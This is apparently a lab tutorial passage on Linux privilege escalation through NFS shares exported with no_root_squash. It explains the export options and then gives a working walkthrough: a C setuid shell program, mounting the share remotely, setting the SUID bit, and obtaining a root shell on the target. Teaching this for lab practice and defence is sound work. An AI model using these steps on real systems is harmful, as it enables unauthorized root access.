**Weak NFS Privileges**

Network File System (NFS) allows users to access shared files or directories over the network hosted on Unix/Linux systems. NFS uses TCP/UDP port 2049. Any accessible mounts can be listed remotely by issuing the command showmount -e, which lists the NFS server's export list (or the access control list for filesystems) that NFS clients.

yovecio@htb[/htb]$ showmount -e 10.129.2.12

Export list for 10.129.2.12:

/tmp \*

/var/nfs/general \*

When an NFS volume is created, various options can be set:

| **Option** | **Description** |
| --- | --- |
| root\_squash | If the root user is used to access NFS shares, it will be changed to the nfsnobody user, which is an unprivileged account. Any files created and uploaded by the root user will be owned by the nfsnobody user, which prevents an attacker from uploading binaries with the SUID bit set. |
| no\_root\_squash | Remote users connecting to the share as the local root user will be able to create files on the NFS server as the root user. This would allow for the creation of malicious scripts/programs with the SUID bit set. |

htb@NIX02:~$ cat /etc/exports

# /etc/exports: the access control list for filesystems which may be exported

# to NFS clients. See exports(5).

#

# Example for NFSv2 and NFSv3:

# /srv/homes hostname1(rw,sync,no\_subtree\_check) hostname2(ro,sync,no\_subtree\_check)

#

# Example for NFSv4:

# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no\_subtree\_check)

# /srv/nfs4/homes gss/krb5i(rw,sync,no\_subtree\_check)

#

/var/nfs/general \*(rw,no\_root\_squash)

/tmp \*(rw,no\_root\_squash)

For example, we can create a SETUID binary that executes /bin/sh using our local root user. We can then mount the /tmp directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit.

First, create a simple binary, mount the directory locally, copy it, and set the necessary permissions.

htb@NIX02:~$ cat shell.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(void)

{

setuid(0); setgid(0); system("/bin/bash");

}

htb@NIX02:/tmp$ gcc shell.c -o shell

root@Pwnbox:~$ sudo mount -t nfs 10.129.2.12:/tmp /mnt

root@Pwnbox:~$ cp shell /mnt

root@Pwnbox:~$ chmod u+s /mnt/shell

When we switch back to the host's low privileged session, we can execute the binary and obtain a root shell.

htb@NIX02:/tmp$ ls -la

total 68

drwxrwxrwt 10 root root 4096 Sep 1 06:15 .

drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..

drwxrwxrwt 2 root root 4096 Sep 1 05:35 .font-unix

drwxrwxrwt 2 root root 4096 Sep 1 05:35 .ICE-unix

-rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell

<SNIP>

htb@NIX02:/tmp$ ./shell

root@NIX02:/tmp# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb)